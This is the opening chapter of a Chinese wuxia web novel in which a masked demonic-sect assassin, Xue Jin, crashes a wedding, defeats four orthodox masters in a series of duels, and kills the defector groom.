《攻略魔头的一百种方法》 1. 大魔头 时值隆冬,纷纷扬扬的大雪从天而至,盖住了大地,天地一片银装素裹。此时停剑山庄之中,却是张灯结彩,入目皆是喜气洋洋的大红色。红与白交相辉映,煞是好看。 这日庄内人来人往,比起往日要更加热闹得多,只因今天便是庄主独女大喜的日子,停剑山庄为此特地邀请了许多江湖上有头有脸的大人物,参加本庄大小姐的婚宴。 说起那位新姑爷,倒是个传奇人物,因为落水被停剑山庄大小姐捡到,醒来后又失了忆,成为了一名杂役弟子,之后和大小姐日久生情,最后成功抱得美人归,成了老庄主的乘龙快婿,也不知道羡煞了多少人。 宴客厅内,客人们正在推杯换盏,大快朵颐,大堂上欢声笑语不断,到处充斥着一片“恭喜老庄主、贺喜老庄主”的祝福声。忽然一声悠长的唱喝声响起,紧接着新郎新娘相携而入,两人看上去十分登对,引起了不少人的讨论。 在红烛照耀之下,那对身穿大红锦服的新人站在喜堂上,纵使隔着红盖头,也是四目相对,含情脉脉。 他们跟着傧相的指示行礼,一拜高堂,二拜天地,随后两位新人转身,正要鞠躬行最后一礼,这时一声突兀的“且慢”传来,虽然声音不大,却似在众人耳畔炸响,厅堂内瞬间鸦雀无声,落针可闻。 拜堂之礼被中途打断,众人皱着眉头循声望去,只见一个戴着狐狸面具的少年无声无息出现在门口,而满堂高手竟无一人察觉。 少年一袭裹身白衣,外披红色长袍,腰间悬挂一支银箫。浓密乌亮的长发用一条红色发带高高束成马尾,白底红纹的狐狸面具遮住了他的大半部分面容,露出来的朱红薄唇一张一合:“将死之人成什么婚。” 此话一出,原本喧闹的宴厅顿时安静下来。来者不善,善者不来,众人脑中同时冒出一个念头:“这人是来砸场子的。”他们看向他的目光多了几分警惕,不约而同地拿出了武器。 面对众侠士的敌意,少年却浑不在意,他像是一阵无忧无虑轻盈的风,自由地穿过山谷,高马尾在行走间甩出利落又漂亮的弧度。 少年走到离新郎数十步的地方站定,他高高瘦瘦长手长脚的,笔挺站着的模样像是一株秀丽的修竹。视线越过众人,落到新郎身上,他笑得像只嗅到血味的银狼,“你好啊,水德星君。” 听到这久违的称呼,新郎官条件反射的一抖。从对方现身的那刻起,他心中就有了一个可怕的猜想,但这一刻,他确定了这个想法。像是看到什么恐怖的东西,新郎官忍不住牙关打颤:“你、你是薛……薛矜……薛摇光……” 众侠士听到这个名字,皆是浑身一震,只因薛矜此人出身于人人喊打的落月教,乃是江湖上作恶多端的大魔头,杀人放火对他来说就像是吃饭喝水一样稀松平常。正义之士皆视其为头等大敌,欲除之而后快。 少年无视想要替天行道的诸位大侠,好整以暇的站在那里,白色雪花在他背后簌簌落下,红色长袍和黑色长发随风飘扬。他点了点头,大大方方地承认道:“正是在下。” “贵庄新姑爷曾是我圣教中人,如今却为了一个女人,叛教出逃,犯下死罪。在下今日来此,乃是奉了教主的命令,替他清理门户。”名为薛矜的绯衣少年拱手向着四周作揖,举止优雅得体,“还请诸位避让。”一般他特别客气之后,就要开始不客气了,这叫先礼后兵。 少年的话重重的落下,如同巨石砸在湖面上,溅起无数波浪。众人齐齐望向身穿绣金喜袍以珠冠束发的新郎官,心中皆是震惊,这位看上去斯文俊秀的青年,居然来自那个令天下人闻之胆寒的的教派? 因教中之人行事狠辣,多造杀孽,所以落月教一直被名门正派视为魔教,甚至说是正教死对头都不为过。 该教整合了天下邪道之力,统治着武林中的各种帮派和绿林,教众数十万遍布天下,以一教之力,力敌侠儒道佛四大正派,与整个正道相抗衡,可谓是当今最强大的势力,没有之一。 察觉到身边的美娇娘不可抑制地发抖起来,新郎伸手轻拍了拍她的背,温声安抚:“放心吧,我不会有事的。”心头却是一沉。 他的确出身于落月教,因为在一次行动中被十数个正道高手围攻,不慎掉落瀑布,随波逐流,最后连同自己的刀被停剑山庄大小姐捡到,醒来后却失去了记忆,还被对方赋予了新的名字——初七。 之后他便留在山庄干杂活,慢慢喜欢上了把他捡回家的大小姐。 某日他和大小姐相约出游,意外撞见一群魔教弟子欺凌弱小,主仆二人热血上涌,当即冲上前去与之拼斗,却不料双拳难敌四手,逐渐落于下风,大小姐还被人击中一掌,整个人直接倒飞而出,砸在地面上。 眼看心上人性命垂危,他拿着自己的刀一下子记起了武功,把自己曾经的同门杀了个片甲不留。 恢复记忆后,他向大小姐自陈身世,对方却表示自己并不在乎,两人互通心意,他再不想离开,索性假死脱离魔教。 只是他万万没有想到,有一个弟子大难不死,还认出了他,连夜逃回教中回禀教主,教主听罢,随即派出自己的得力干将,执行对他的追杀令。 新郎看向绯衣少年,只觉一团阴云笼罩在心头。该来的还是来了,而且来的还是自己最怕的那个。 着红袍白衣,戴狐狸面具,持银箫墨刀,擅浮光掠影,可驾御百兽。薛矜,薛摇光是也。 落月教弟子的地位由低到高分为四个等级:外围弟子,入门弟子,内门弟子,核心弟子。 外围弟子没有代号,入门弟子只有数字代号,内门弟子以日月星辰之名作为代号,其中核心弟子有七位,代号取自北斗七星,分别为天枢、天璇、天玑、天权、玉衡、开阳、摇光,每一个单拎出来,都至少是江湖大派掌门人的实力。 而薛矜无疑是落月教建教数百年来,年龄最小的核心弟子,今年也不过十七岁。 传闻他是被教主捡回家,从小放身边养大的,只忠于教主,被他和教主盯上的人,将无法免除死亡。 他身处深渊,是黑色秩序的守护者,冷漠又决绝的为魔教教主扫清一切障碍,把一切试图颠覆黑暗的叛徒和卧底消灭。 他的武器是传说中邪气十足的墨影刀,刀身漆黑唯刀尖一点红色,新郎曾无数次梦见自己被他处决,墨刀挥舞间如一道血光盛开,下一刻自己便从睡梦中惊醒,猛地坐起,后背早已湿透,额上更是冷汗直流。 毫无疑问,他将永远是自己挥之不去的暗黑梦魇。未曾想到,大婚之日,却是噩梦成真之时。 见众人因为自己的话陷入一片死寂,薛矜又极其恶劣地补充道:“不忍心的话可以闭上眼睛哦。” 这算什么,当他们是摆设么?众侠士面面相觑,若放任这魔头处决叛徒,这事传扬出去,正道颜面何存?这样想着,他们将目光齐刷刷投向了坐在上首的四个人。 这四人一个侠客,一个儒生,一个道士,一个和尚,分别来自侠儒道佛四大正派,受邀参加停剑山庄大小姐的婚宴,并代表各自门派送来贺礼。论武功,论声望,在场中人没谁比他们更适合主持公道了。 他们四人早已商量好了应对之策,此时见众人齐齐望来,身着黄衫的侠客霍地站起身子,义正言辞地开口说道:“阁下要取他性命,我们断不会坐视不管,他既已弃暗投明,就不该命丧你手。” 闻言,薛矜拖长调子“哦”了一声,目光一一扫过四人,语声冷淡却又透着千钧力:“那你们是想一拥而上了?”语毕,内力疯狂涌动,身上杀意爆升。 对方铺天盖地的杀气有如实质般向他袭来,黄衫客却毫无惧色,拔高声音说道:“并非如此。我们四人方才商量了一番,想分别和阁下比试一场,若是其中一人赢了,阁下便不可再行杀戮,若是全都败了,我们便不再管今日之事。你看如何?” 此言一出,众人心想:这四人是他们中的翘楚,若是都败给了薛矜,那他们也没有上去送死的必要了。今日之事传扬出去,外人也不会耻笑自己贪生怕死,不算英雄好汉了。可若是他们中的一人赢了,不仅能救下新郎,也能挫一挫魔教的锐气。 这样想着,他们将目光齐刷刷投向绯衣少年,只恐他说出拒绝的话来,心都提到了嗓子眼上。 薛矜哪里不知道这群侠义之士打的算盘,但他稍作思考便说道:“好啊。”他知四人是不想造成无谓的伤亡,故而行此计策,他也不想多费功夫,只需击败四人,旁的杂鱼便不敢再送死,他也好畅通无阻地处决叛徒,何乐而不为呢? 闻言,众人皆是松了一口气,却见少年以指作笔,在打磨得光可鉴人的柚木地板上划了一个圆圈。他的手指跟铁铸似的,在木板上画圈,就像是用刀刻的一样。 迎着众人不明所以的目光,薛矜嘴角含笑,慢悠悠地开口:“我也不难为你们,比武过程中,你们只需将我打出这个圈子,就算你们赢,如何?” 此话一出,登时一片哗然。即将和他比武的四人皆是眉头一拧,这魔头居然如此托大,自己给自己设套,未免有些太狂妄了。 不过,少年提出这种损己利人的比试规则,他们却没有要拒绝的意思。这魔头甘愿画地为牢,他们就会让他明白什么叫作茧自缚。 四人齐声道:“那就听阁下的。” 薛矜不紧不慢地抚平袍袖上的褶皱,慢条斯理地说道:“不过,比试的内容得由我来定。” 四人以传音入密之术商议了片刻,最后还是点头同意了。对方刚刚做出了巨大的让步,他们也没有要占尽便宜的意思。 三言两语间,正邪双方已约好一场车轮战,战局之外的人自觉往后退开数步,以免到时候战况激烈殃及池鱼。 目光从四人身上一一扫过,最后停留在方才挺身而出的黄衫客身上,薛矜笑吟吟地凝视着他,“久闻卢长老身怀飞刀绝技,手一甩出,便能杀敌于无声无息之间,江湖上鲜少有人能够接住您的飞刀。在下斗胆,想要一试。” 被点到名的卢长老一愣,似是没想到对方居然专挑铁板踢。他心情一时复杂难言,对方实力固然很强,但如此狂言,也未免太过轻敌了。 第一场比试,由斩风帮卢长老对战落月教薛摇光。 卢长老大刀金马的向前跨了一步,直接从腰间解下一条宽大的皮带放到木案上,抬手从中抽出两把闪闪发光的飞刀,紧接着扬手一甩,使出一招双龙逐凤,两把闪烁着寒光的飞刀分向左右投出,速度之迅急,气势之凌厉,有如流星划过天际,使得在场众人瞳孔都是微微一缩,耳畔边尽是飞刀划破空气发出的尖锐啸声。 然而,此时观战的众人心中都浮出了一个念头,目标站在他的正对面,他射出的飞刀却是分向左右两边飞,除非能转弯,否则不可能击中和他面对面的少年。 紧接着,令人震惊的一幕发生了,观战众人不约而同地瞪大了双眼,显然难以置信。原本分别射向左右的两把飞刀,真的一个大回旋,直奔薛矜的太阳穴而去。 晃眼之间,飞刀距离薛矜左右太阳穴不过两尺左右,猩红的鲜血好似下一刻就要飞溅而出。眼见这一幕,众人的心瞬间都提到了嗓子眼上,难道这江湖公敌,今日便要命丧于此么? 而就在这千钧一发之际,少年抬起两只手掌,各伸出两根白皙如玉的手指,在飞刀射入太阳穴之前,将其轻轻一夹,出手快如闪电,疾如雷霆。飞刀落入他的指中,便一动不动了。 见对方居然能空手接住他的飞刀,卢长老神色微变,紧接着,更让他难以置信的事情发生了。 只见薛矜随手一挥,两柄刀徐徐飞出,而后如同倦鸟投林一般,不偏不斜的落入他先前摆放在木桌上的皮套中。手法之巧妙,角度之准确,令人叹为观止。 众人不自觉地咽了一下口水,厅堂内本就十分安静,他们咽口水的声音也就格外明显。方才少年接刀的手法并无特异之处,在场也有不少人自问能做到,但要隔着数丈远的距离,将飞刀准确无误地投回皮套刀眼中,那就是难为他们了。 卢长老见他露了这一手,先是诧异不已,反应过来后,心里不由得暗暗佩服起来。他原本就是个藏不住心思的直肠子,这会儿也顾不得正邪之分,冲着少年抱拳一礼道:“阁下身手不凡,尤其这还刀入鞘的手法,让在下好生佩服。” 他这番话完全发自内心,并非奉承恭维,薛矜也看出他脸上钦佩之意不似作伪,便也以礼相还,客客气气地说道:“在下方才亲眼所见,卢长老的飞刀绝技,劲道之强,认穴之准,果真已是到达炉火纯青的境界。在下反应要是慢上一点,怕是早已成了您的刀下亡魂了。”他一向是遇强则强,遇软则软的性子,别人让他体面,他也会让别人体面。 少年这般自损,卢长老却知道他不过是在保全自己的颜面。要知道他的飞刀一出,连身边的树林都要倒一片,却伤不了这少年半分。 想了又想之后,卢长老有些犹豫地开口说道:“在下想……” 薛矜清楚他的意思,也知道他想说什么,“卢长老不必客气,在下明白您方才手下留情,未尽全力,愿意和您再比一局,让您得以全力施展绝技,在下见识见识您十二把连环飞刀齐发的威势呢。” 卢长老这边听到少年接受了自己的挑战,心中喜不自胜,他已经很久没有遇到一个需要他全力应对的敌手了,今日得见,恰似久旱逢甘雨。 他一边专心致志的动手,一边善意的提醒道,“阁下,小心了!” 话音刚落,他双手齐扬,飞刀接二连三脱手飞出,速度飞快,去势极猛,封住薛矜前后左右、上下十方,对他隐隐形成包围之势。霎时之间,十二把雪亮飞刀便占据了各个方位,刀影飞舞,从四面八方将少年包裹住,使他无论从哪一方闪避,也非挨上一刀不可。 明明十二把飞刀正绕着他急速旋转,随时都有可能取走他的性命,薛矜却好像视若无睹一样,连眉头都没有皱一下。虽然并不畏惧,但发刀人这种怪异的手法,精湛的技巧,让他也不禁有些佩服了。 隔着漫天的刀幕,他将视线投过去,真情实意地夸赞道:“卢长老这手飞刀,果然是刀中奇技,在下今日可算是大开眼界了。”话虽如此,他却连身形都未离开原地半步。 就在众人以为他已是黔驴技穷,要束手待毙时,薛矜不紧不慢的从腰间抽出那把银箫,信手挥舞,毫无花哨,可每一次出击,都能准确无误地击中那些绕着他高速旋转的飞刀。精铁所铸的飞刀和银制长箫碰撞间,清脆的金铁交鸣声不绝于耳。 他手中那把银箫便似有了生命一般,如臂使指,幻化出一圈耀目银光,将他上半身包裹在其中,和漫天刀光交织在一起,看得人眼花缭乱。 但那阵叮叮当当,密如联珠的撞击之声很快又消失了,先前对着少年紧咬不放的十二把飞刀再度排在木案上,一把也没有损毁,一把也没有丢失。而那根银箫则是又插回到少年的腰间,对方依然衣襟整齐,长身玉立,只是尖牙微露,脸上多了一抹胜利的笑容。 这一幕落在众人眼中犹如奇迹,让他们无法相信自己的眼睛,但整整齐齐插在皮套刀眼中的十二把飞刀却告诉他们,这一切都是真实的,绯衣少年全程只是挥箫击打,便将十二把飞刀尽数挡下。 其中最震惊的,莫过于与之对敌的卢长老。自己向来无往不利的飞刀绝技,竟然在这小他许多的少年身上失手了。但他还是愿赌服输,十分爽朗地承认道:“是在下输了。” 在一旁观战的众人则不似卢长老这般豁达,见他落败,皆是扼腕叹息,只能将得胜希望寄托于他人。 斗败卢长老后,薛矜的目光又自余下三人身上滑过,最后落到了一位身穿儒衫,文生模样的青年身上,他不急不缓地说:“在下听闻重霄阁赵公子是江湖年轻一辈的翘楚,以绝妙剑术闻名于世,甚为心折,下一场比斗,想见识一下您的精湛剑术,不知公子可否赏脸?” 被点到名的赵公子倏地站起身来,腰间玉佩跟随着他的动作发出清脆呤叮声,他微昂头颅道:“自无不可。” 第二场比试,由重霄阁赵公子对战落月教薛摇光。 薛矜好整以暇地站着,不甚在意地看着青年手持利刃向他疾冲而来,每走近一步,宝剑上的光芒便逐渐增强。 他忍不住在心中暗赞道:“剑气如霜,寒光凛然,的确是把削铁如泥切金断玉的绝世好剑。” 但即使被这样的剑迎面刺来,他却连眼睛都不眨一下,身形定如泰山。待那蕴含一股肃杀之气的剑锋逼近,他才抽出腰间长箫,信手在胸前挥挡了几下,便将赵公子那番凌厉攻势尽数化解,反而还震得对方手臂微麻。 眼见得一击不中,赵公子薄唇抿成一条直线,而后以难以想象的速度,几乎没有间隙的又是一剑刺出,一招仙人指路刺向薛矜面门。 两人本已相距极近,长剑刺出更在晃眼之间已至面门,不过比其更快的是薛矜的银箫。少年唇角轻扬,手中银箫蓦地搭在了对方剑身上,顺势向外推出,使出一招灵犀分水,银箫贴紧粘出。 赵公子见势不妙,才待要抽剑变招,怎知那魔头的银箫似粘在剑上一般,任凭他怎么努力也摆脱不得。只听得铮的一声,赵公子手中长剑竟不受控制的偏离了原先的轨道,滑向薛矜身侧数寸。 又是一剑落空。出师不利的赵公子死死咬住下唇,再次提起长剑,使出许久未曾使用过的狂风剑法。这路剑法大开大合,威势惊人,每一剑刺出,都完美体现出狂风剑法“快、狠、准”的三字精髓。 若是任由对手快剑抢攻,局面很容易就在对方的控制之下。但薛矜似乎并不想还手进攻,只从容不迫地挥动长箫,将来犯之剑尽数拦截在外。 观战的人群中,一时间爆发出一片喝彩声,声浪几乎要掀翻屋顶。在他们看来,薛矜仿佛全身上下都长满了眼睛,无论赵公子从哪个角度攻来,速度有多快,只要一出手,就会被他完美捕捉到,然后那把银光闪闪的长箫便会在恰当的时机,恰当的角度及时出现,将向他刺来的剑封住,至始至终,从未失手。 这等身手……简直是神乎其神。 可是他们很快便意识到,自己的助威对象是个恶贯满盈坏事做尽的大魔头,立马又闭上了嘴,不再长他人志气,灭自己威风。可即使闭上嘴巴,江湖人士骨子里对强者的崇拜,还是从眼中流泻出来。 赵公子心中也是暗暗叫苦。他每一招每一式都用出了全力,可结果别说是对少年造成伤害了,就连逼他躲闪都做不到,无论自己的攻势多么凌厉,对方总能轻易化解。每一次出手都无功而返,让他油然而生一种深陷泥潭之感。 观战众人发出的动静声响,或多或少落入了赵公子耳中。以前专属于他的喝彩声给了别人,不再是众人视线中心的赵公子只觉自尊大受伤害,自然而然地迁怒于那个窃取了他光环的小偷。 胸间怒火上翻,他低吼一声,双眼通红,一个呼吸间连刺五剑,每一剑都快若奔雷。他一招一式既沉稳又狠辣,招招皆攻向要害之处,完全是不要命的以伤换伤打法,任谁都能感觉出他此刻的杀意。 破空声传来,薛矜再一次以毫厘之差避开向他挥舞而来的剑刃,从剑刃逸散的锐气削断了他的一缕长发,飘飘然然,随风落下。那种处境险之又险,稍微慢上一点,必定血溅五步。 眼看差点得手,赵公子根本不给他任何喘息的机会,发疯似的挥着手中的碧水剑,平日里优雅贵公子形象全无,像极了一头得了疯病的饿狼,把对手打倒了自己就能站起来了似的。 无数银色剑芒带着漫天杀气,如疾风暴雨般斩向绯衣少年,少年以诡异身法游走闪避着,眸子渐渐变得锐利。他无意取人性命,对方却杀招频出,未免有点不识好歹了,若不给他点颜色瞧瞧,还真以为自己是好欺负的呢。 这个念头一出,薛矜一声清啸,转守为攻,手中银箫如灵蛇游走,被他唰唰唰舞出了一片璀璨银光,转瞬之间便将赵公子全身要害大穴都给笼罩覆盖住,速度之快,让他无处可避,恰如瓮中之鳖,只有束手待毙的份。 局势瞬间逆转,赵公子面容惊愕,不知所措。他后知后觉感受到一阵轻微的刺痛,下意识的往脸上摸去,手中满是血液的的粘稠触感。很快光芒收敛散去,薛矜的银箫已然抵在他的眉心处,只需催动内力灌注其中,便可立时结果了他的性命。 第二场比试就此分出胜负。 薛矜略略弯腰,看着眼神恨得像要扑上来咬断他喉咙的赵公子,似乎被取悦到了,恶意满满地笑起来,故意嘲讽道:“这位就是江湖中年轻一辈的翘楚?”语罢,他撤去了抵在对方眉心的银箫,手腕一转,将其随意插回腰间,看向对方的眼神仿佛在看一只随手就能碾死的蝼蚁,轻慢又冰冷,“哼,不堪一击。” 声音也不甚大,每个人却都听得清清楚楚。 被当众击败后又被当众嘲讽,赵公子原本清俊秀雅的脸满是扭曲的疯狂,那道被人划出的血痕更衬得他面目狰狞。从云端跌落谷底的巨大落差感犹如毒蛇一般,不停啃噬着他的心脏,刺激着他又一次挺剑刺向少年。 他将所有的真气内力都灌注于剑身之上,剑尖轻颤,发出嗡鸣之声。这一剑杀气腾腾,像是濒死的野兽最后的绝响,不但快捷无伦,方位更是拿捏奇准。无论结果如何,这一剑刺出,他将没有任何再战之力。 但薛矜并未在意这一剑,对方的速度在他看来十分的缓慢,行进路线和出剑的角度都清晰的呈现在眼中,再加上是大开大合的攻击,简直就是破绽百出,他甚至懒得架起格挡,只一个侧身便躲了过去,柔软的黑色长发随闪躲的动作而摆动。紧接着他抬手一翻,啪的一声扣住了对方手腕,五指再巧妙地一转,已把那柄长剑抢过手中。 刺剑,躲剑,夺剑,一切都发生在电光火石之间。赵公子还没来得及反应过来,自己那柄终日不离手的碧水剑便被少年轻松夺去,而后随手一挥,迅急飞射出去,夺的一声插在他身后张贴着偌大双喜字的墙壁上。 剑刃穿透那个手工剪的大红囍字,深深没入墙壁,剑尾兀自颤抖不休,显然掷剑者的力量相当恐怖。 薛矜眉眼轻抬,瞄了眼被自己嵌入墙壁的碧水剑,语气嘲讽:“神兵利器只有遇见真主人才能斩天裂地呢。” 此言一出,赵公子登时脸色发白,颓然倒地。众目睽睽之下,他被薛矜夺去贴身兵刃,却毫无反抗之力,这对于具有武学天赋又出身武林世家而备受追捧的他来说,简直是奇耻大辱。今日这场战役若是传扬出去,自己不知要成为多少江湖人士茶余饭后的笑柄。 朝仿佛被抽干了所有力气,如同一条死狗一样一动不动的赵公子投去一瞥,向来言辞锋利的少年瞬间没了继续嘲讽下去的兴趣,不带任何感情的开了口:“下一个。” 话音刚落,他已择好对手,向座上那位白袍上绣着一轮旭日的老道长发起挑战:“久闻赤焰道长纯阳掌威力无双,强大无匹,在下想硬接您三掌,若是不死,就算在下赢,如何?” 赤焰道长端坐在檀木椅上,听他这般说,脸上惊诧之色一闪而过,但他最后还是点了点头,只因要比什么并不由他来决定。 第三场比试,由知守观赤焰道长对战落月教薛摇光。 赤焰道长衣袍摆动间,已走到薛矜身前十步左右站定,不动声色地打量起对方来。 面前的少年看着身姿纤细单薄,实在不像是能硬接自己三掌的样子。道长素来为人正直,有一颗仁德之心,怕他猝不及防之下被自己一掌打吐血,便忍不住善意提醒道:“接下来贫道会打出三掌,每一掌都比前一掌更胜一筹,阁下怕是不怕?”< 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灼热的气息自他掌心中央开始扩散,如同火龙咆哮而出,在场众人顿时陷入一片难以抵御的燥热之中。 然而,薛矜还是那副气定神闲的模样,并没有那种和对手剑拔弩张的感觉,好像一切都在他所控范围之内。 厅堂内众侠士见魔头这般轻敌,忍不住皱了皱眉。道长纯阳掌至坚至刚,当年他以这套掌法约战天下高手,未尝一败。这魔头如此托大,待会管教他体内经脉寸断,五脏六腑都被震得移了位置。 只是事与愿违,他们期待的场面并未出现,道长排山倒海的掌力被一堵无形高墙生生逼停,无论他如何使力,都无法击穿这道由对方护体真气形成的无形屏障,掌劲很快便无影无踪,消于无形。 红光散去,气墙消弭,少年身形仍旧稳如磐石,只宽大袍袖微微拂动,显示着主人的的确确挡下了切切实实的一掌。 赤焰道长心中震惊,双目圆瞪,他不敢相信眼前所见的一切。那个看上去毫无攻击性的纤瘦少年,竟将他这气势如虹的一掌完全压制住,放眼整个天下,能有这样身手的人,不超过十个。 不过,即使眼前的少年实力强横,赤焰道长也不觉得胆怯,反而斗志昂扬。他凝神提气,掌心一片血红,打出生平最强大的一招纯阳掌。 第三掌,蕴含着他十成功力,劲道奇猛。掌风过处,空气似乎都被烧灼。明明是寒冬腊月,外面还纷纷扬扬下着大雪,厅堂内的众人却感觉自身仿佛置身熔炉之中。 少年见到这威力无匹的一掌,先是惊讶了一下,唇角随即勾起。他巴不得对手实力强大,好品尝战胜对方带来的成就感。 在道长那一掌几乎快轰到他胸膛时,少年将体内真元尽数汇聚在手掌之中,右掌平伸,一股红蒙蒙的光华潮涌而出,向对方掌心印去,使出的掌法竟与道长别无二致。眼见得对方用自己的成名绝技和自己对敌,赤焰道长陡然一震,若非内力对冲之下开不了口,他当下便要质问对方从何偷学来的本门绝学。 两股巨大的力量交汇,以一老一少为中心冲撞开来,整座厅堂仿佛都颤动了一下。强大的冲击波带起的狂风,铺天盖地席卷开来,桌案上的杯盏叮叮当当落了一地,一片狼藉。 随着一声巨响,赤焰道长连连向后退了几步,足底摩擦地面,带出一道深痕。反观少年,依旧稳稳当当站在原地,连晃也没晃一下。三掌已过,胜负已分,眼见得对方又赢一局,厅堂内的一众侠士发出一片哀嚎声,心不由得又往下沉了一分。 猛一顿步,道长暗暗运使真气探查全身,只觉四肢百骸间如有烈焰焚烧,炙烤得他很是难受,但最让他难受的,还是被那比自己小得多的少年以自己最擅长的招数击败。 他手捂胸口,将那股翻涌着的热浪竭力压制住,而后惊疑不定地开口问道:“纯阳掌乃我知守观独门绝学,阁下又是从何处习得?” “自然是有高人倾囊相授。”薛矜不欲多作解释,岔开话题,“我已接下道长三掌,道长是否认输?” 赤焰道长眉头微蹙,能被薛矜这样的绝顶高手称作高人的,普天之下也只有那位神龙见首不见尾的魔教教主了。那位教主学贯百家,精通天下武学,由他一手带大的少年,自然也会对各派武功有所涉猎。 按下思绪,道长低垂眉目,“是贫道技不如人,贫道认输。” 又赢了一局,只剩最后一人了。不用少年点名,长眉老僧主动请战道:“薛施主连胜三局,实力之强,让人叹为观止。老讷不才,愿做你的最后一个对手。” 薛矜抬眸看向他,不紧不慢地说道:“这最后一场,在下想和禅师比拼内力。您诵读经文,我吹奏长箫,看是您的佛音先止,还是我的箫声先停。您意下如何?” 闻得此言,慧明禅师不疾不徐道:“善哉善哉,老衲拼着这把老骨头,愿与薛施主一比。” 第四场比试,由光华寺慧明禅师对战落月教薛摇光。 戴着狐狸面具的少年手持银箫,立于唇畔,指尖在箫孔上不停按压,箫声轻灵悠扬,飘散在空中。随着他吹奏的曲调变得急促,音波荡漾开来,以独特而又古怪的规律向四面八方扩散。 身披金线袈裟的得道高僧端坐在紫檀木制的八仙椅上,手里捏着一串念珠,朗朗的诵经声不断从他口中传出,回荡在厅堂的每个角落。同时,一股强大的威压自他身上散发出来,瞬间笼罩在了整个厅堂内。 明明在无形的重压之下,薛矜的唇畔却噙着漫不经心的笑。他能感受到禅师释放的遮天蔽日的压迫感,但丝毫不惧。和某个过于强大的存在相比,对方压落在他身上的威压几可忽略不计。 曲调越来越急促,越来越激昂,高亢奇诡的音波如有实质,化为道道杀人于无形的音刃,向慧明禅师滚滚袭去。入耳的箫声引发内力震荡,众人只觉精神在承受万箭齐射的压迫感,顿时头晕目眩,血气沸腾,心脉受损而浑然不知。 慧明禅师猛地睁开了眼睛,念经声更加洪亮。他右手紧握念珠,一抹璀璨金光透体而出,如有生命一般,形成一道圆形屏障,将他全身罩住,试图抵挡从四面八方向他攻来的凌厉音刃。 然而,音刃犹如惊涛骇浪,不断拍打着他的内力屏障。金光闪烁,念珠发出阵阵嗡鸣之声,似乎难以抵御巨浪的冲击。坐在木椅之上,护罩之内的老僧被箫声引得心跳加速,即使全力运功抵抗,仍是受了不轻的内伤,一轮攻击过后,已是身形微晃,气息不稳,犹如惊涛骇浪中的一叶扁舟,随时都有倾覆之险。 虽然占据了上风,薛矜的眉头却微不可察地皱了皱,他在对方身上耗费的时间比他预期的还要长。 思及此,他将自己大部分的内力灌注在手中银箫上,流泻而出的音刃愈发狂暴,如巨浪般席卷而来。慧明禅师的内力屏障开始摇摇欲坠,他疯狂调动全身真元,使出了所有功力来抵挡杀伤力倍增的音刃。 在箫声和音刃的内外夹击下,众人只觉时间从未如此缓慢得令人难熬,仿佛多活片刻,都是对自己的一种折磨。禅师的脸色愈发苍白,额头上渗出细密的汗珠,身子开始不受控制地发起抖来,但他依旧咬牙强忍着,将痛苦的呻/吟咽入喉中,只是拨动念珠的手越来越慢,念诵经文的声音也越来越低,渐不可闻。 而这一切都被薛矜不动声色地收入眼中,明白对方这是伤了心脉了。他仿佛看到了胜利的曙光,唇角不带情绪地勾了一下,很快又压下去,快得几乎不能称之为一个笑,好似拔刀出鞘时一闪而逝的锋芒。接下来,他将给予负隅顽抗的猎物最后一击。 他吹奏的曲调愈发激烈,音刃裹挟着毫不留情的肃杀之气汹涌而至,众人只觉耳畔似是有千万把利刃呼啸低鸣,刺激得他们耳膜生疼,而且一浪接着一浪,层层叠叠的律动让他们连喘息的机会都没有,就算是撕下衣襟塞住双耳也没什么用。 整座喜厅都笼罩上了死亡的阴云,众人脑中都闪过这么一个念头:今天定要交代在这。 无数有质无形的透明音刃纷至沓来,慧明禅师胸腔之中气血翻涌,再难支撑,从椅子上倒了下去,紧接着哇的一声便喷出了一大口鲜血,身上袈裟被血染成了更深的深红色。 薛矜停止了吹奏,漫天的音刃好似受到操纵般顿时消失。他银箫一离唇边,厅堂内的众人仿佛劫后余生一般,大口大口喘着粗气。 将银箫插回腰间,他看向扛了许久才败下阵来的慧明禅师,心知箫声扰乱心神,音刃有质无形,在内外交击之下,听者若不运内力抵挡,要不了多久便会因承受不住而爆体而亡。而禅师能强撑这么长时间,内力属实深厚异常。 思及此,江湖上人人闻之色变的大魔头赞许地看着他的手下败将,真情实感地夸赞道:“禅师能坚持这么久,内力之精纯,后劲之绵长,实在令人好生佩服。” 闻言,慧明禅师微睁双目,扯出一抹苦笑。听完此曲,他只觉耗尽了一甲子功力,哪有对方说得那样轻松呢?强撑着身子坐了起来,禅师抹去唇角的血红,有气无力地说道:“薛施主,你年纪轻轻,功力便已臻至绝顶,想不到世间竟真有如此奇事,老衲输得心服口服。” 至此,侠儒道佛四大高手无一例外均被薛矜击败。正道一众侠士忍不住捶胸顿足,大输特输,大输特输啊。 新娘似乎预料到接下来会发生什么,蒙着红盖头的她冲上去挡在新郎身前,声音发颤,“我们夫妻本是一体,你要取我夫君性命,就先从我尸体上踏过去吧。” 少年闻言嗤笑一声:“呵,好一对亡命鸳鸯啊。”他们是真爱没错,不过,这关他什么事。 不过片刻,新郎已将新娘拉到身后,他冲着掌握自己生杀大权的绯衣少年说道:“一人做事一人当,望摇光大人不要牵连无辜,要打要杀,只冲着属下一人来便可。” 薛矜轻轻咬了咬嘴唇,认真思索了一下,最后还是做出了让步,歪了歪头说道:“那我就大发慈悲一回,你自我了断吧。”他的嗓音如同丝绸一般柔软,顺滑,有质感,说出的话语却像一柄丝绸裹着的钢刀,直挺挺地捅进新郎官的心脏。 强自压下对死亡的恐惧,新郎深深看了自己的新娘一眼,内心的不舍情绪不断攀升。求生的欲望忽然变得无比强烈,顷刻间他就做下决定,从靴子里抽出一把刀来,摆出了应战的架势。并未说什么,却已表明了一切。 他的回答似乎在少年的意料之中,薛矜看向他的眼神嘲弄又略带怜悯,就像猎人看着陷阱里苦苦挣扎的猎物一般。 一声轻轻的叹息仿佛在众人耳边响起,他们屏息凝气,一眼不眨地看向绯衣少年,不错过他手上的任何一个动作,突然只觉眼前红光一闪,少年的身子似乎动了一下,又似乎纯粹是幻觉。 紧接着,绯衣少年轻飘飘丢下一句:“再见啦,水德星君。”之后转身离开,看都不看他们一眼,身形微动已出去老远,飘然越墙而出,顷刻间就不见了踪影。 他来的时候如同幽灵鬼魅一般,离开的时候却夺走了所有人的目光。 见那魔头不战而退,众人很是不解,对他离开的原因诸多猜测,最后想来想去,也只有对方良心发现了这个理由才勉强站得住脚。不过这个理由很快就被推翻。 相信薛矜会大发善心,不如相信天上会掉下馅饼。 众人正思索间,忽听得咚的一声重物落地声响起,紧接着新娘一阵凄厉的叫声划破了寂静的雪夜,“夫君——” 